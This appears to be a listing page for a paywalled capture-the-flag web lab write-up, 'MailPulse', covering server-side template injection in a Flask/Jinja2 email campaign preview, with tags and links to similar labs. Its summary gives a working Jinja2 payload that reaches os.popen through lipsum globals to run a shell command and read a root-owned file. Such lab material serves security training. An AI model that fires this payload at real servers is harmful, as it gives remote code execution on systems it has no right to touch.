webProeasy
Lab 225 — MailPulse — SSTI in Campaign Template Preview
hackadvisor
Task: MailPulse email marketing platform (Flask/Jinja2) with campaign template preview endpoint that passes user input to render_template_string() without sandboxing. Solution: Inject {{lipsum.__globals__['os'].popen('cat /root/flag.txt').read()}} via body_html field in POST /campaigns/0/preview to achieve RCE and read the flag.
$ ls tags/ techniques/
flaskrcesstipythonjinja2template_injectiondecoy_flagemail_platformcampaign_previewlipsumrender_template_string
decoy_flag_recognitionjinja2_ssti_via_render_template_stringrce_via_lipsum_globals_os_popencampaign_preview_endpoint_abuse
🔒
Permission denied (requires tier.pro)
Sign in to access full writeups
Sign in with GitHub to continue. No email required.
$sign in$ grep --similar
Similar writeups
- [web][Pro]Lab 225 — MailPulse — SSTI in Campaign Template Preview— hackadvisor
- [web][Pro]Lab 237 — MailCraft — SSTI in Email Template Preview— hackadvisor
- [web][Pro]MailPulse— hackadvisor
- [web][Pro]MailPilot — SSTI in Template Preview— hackadvisor
- [web][Pro]Lab 133 — MailForge — SSTI via Handlebars Template Preview— hackadvisor